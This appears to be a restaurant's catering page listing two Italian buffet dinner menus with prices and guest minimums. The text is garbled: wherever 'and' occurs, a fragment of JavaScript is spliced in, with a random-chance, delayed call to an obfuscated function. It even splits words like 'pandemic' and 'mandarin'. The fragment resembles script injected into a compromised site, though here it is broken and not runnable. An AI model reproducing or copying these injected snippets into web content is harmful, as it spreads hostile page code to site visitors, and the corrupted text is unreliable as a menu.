*** Please note: Due to changes during the Pdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andemic environment, menus may be substituted, though we aim for comparably delicious options. Buffet options may be on hold.***
We offer the following Buffet Dinners options.
The buffets also include the passed Hors D’Oeuvres included in the Served Meal option.
BUFFET #1
Minimum of 30 guests required
IL FORNAIO FRESH BAKED BREADS
Served with extra virgin olive oil dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and balsamic vinegar
INSALATA DEL FORNAIO
Mixed greens, toasted garlic croutons, shaved parmesan; house vinaigrette
INSALATA STAGIONALE
Green beans, roasted bell peppers, pear, mozzarella cheese, grilled mushrooms,
fresh chives; red wine vinaigrette dressing
FRUTTA FRESCA DI STAGIONE
Fresh seasonal fruit display
PETTO DI POLLO ALLA DUCALE
Breast of chicken with artichoke hearts dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sundried tomatoes; chardonnay butter sauce
CONTROFILETTO DI MANZO
New York steak grilled medium rare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sliced, rosemary, green peppercorns; balsamic vinegar
PENNE MELANZANE
Penne pasta with roasted eggplant, marinara sauce, smoked mozzarella, parmesan
FRESH SEASONAL VEGETABLES
ROASTED POTATOES
IL FORNAIO DESSERT DISPLAY
Featuring house made cakes, tarts, cookies, brownies
COFFEE AND TEA SERVICE
Il Fornaio Signature Blend Coffee dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Might Leaf Tea Service
BUFFET #2
Minimum of 30 guests required. Add an additional $15 per guest.
IL FORNAIO FRESH BAKED BREADS
Served with extra virgin olive oil dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and balsamic vinegar
INSALATA CEDRI E FETA
Romaine lettuce with red onion, feta cheese, mdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andarin oranges, toasted almonds; topped with lemon & oregano citronrette
INSALATA SPINACI E GAMBERONI
Mixed greens, tomato, sweet red onion, shrimp, crumbled goat cheese; lime-shallot vinaigrette
ASPARAGI IN BELLAVISTA
Asparagus, radicchio, marinated tomatoes, thin sheet of cucumber with fresh basil julienne, cracked black pepper; drizzled with extra virgin olive oil
POLLO CON MARSALA E FUNGHI
Thinly pounded chicken; topped with Marsala dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mushroom sauce
SALMONE ALLA GRIGLIA
Fresh grilled salmon; extra virgin olive oil dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lemon sauce
LASAGNA AL MAGRO
Housemade pasta layered with ricotta cheese, steamed spinach, marinara sauce, parmesan
PRIMO TAGLIO
Carved at the buffet by Il Fornaio’s Chef
Prime rib roasted in herbs, Italian rock salt; au jus dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fresh horseradish
ROASTED POTATOES
SEASONAL VEGETABLES
DOLCI ASSORTITI
Assortment of Il Fornaio’s fresh baked desserts
COFFEE AND TEA SERVICE
Il Fornaio Signature Blend Coffee dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mighty Leaf Tea Service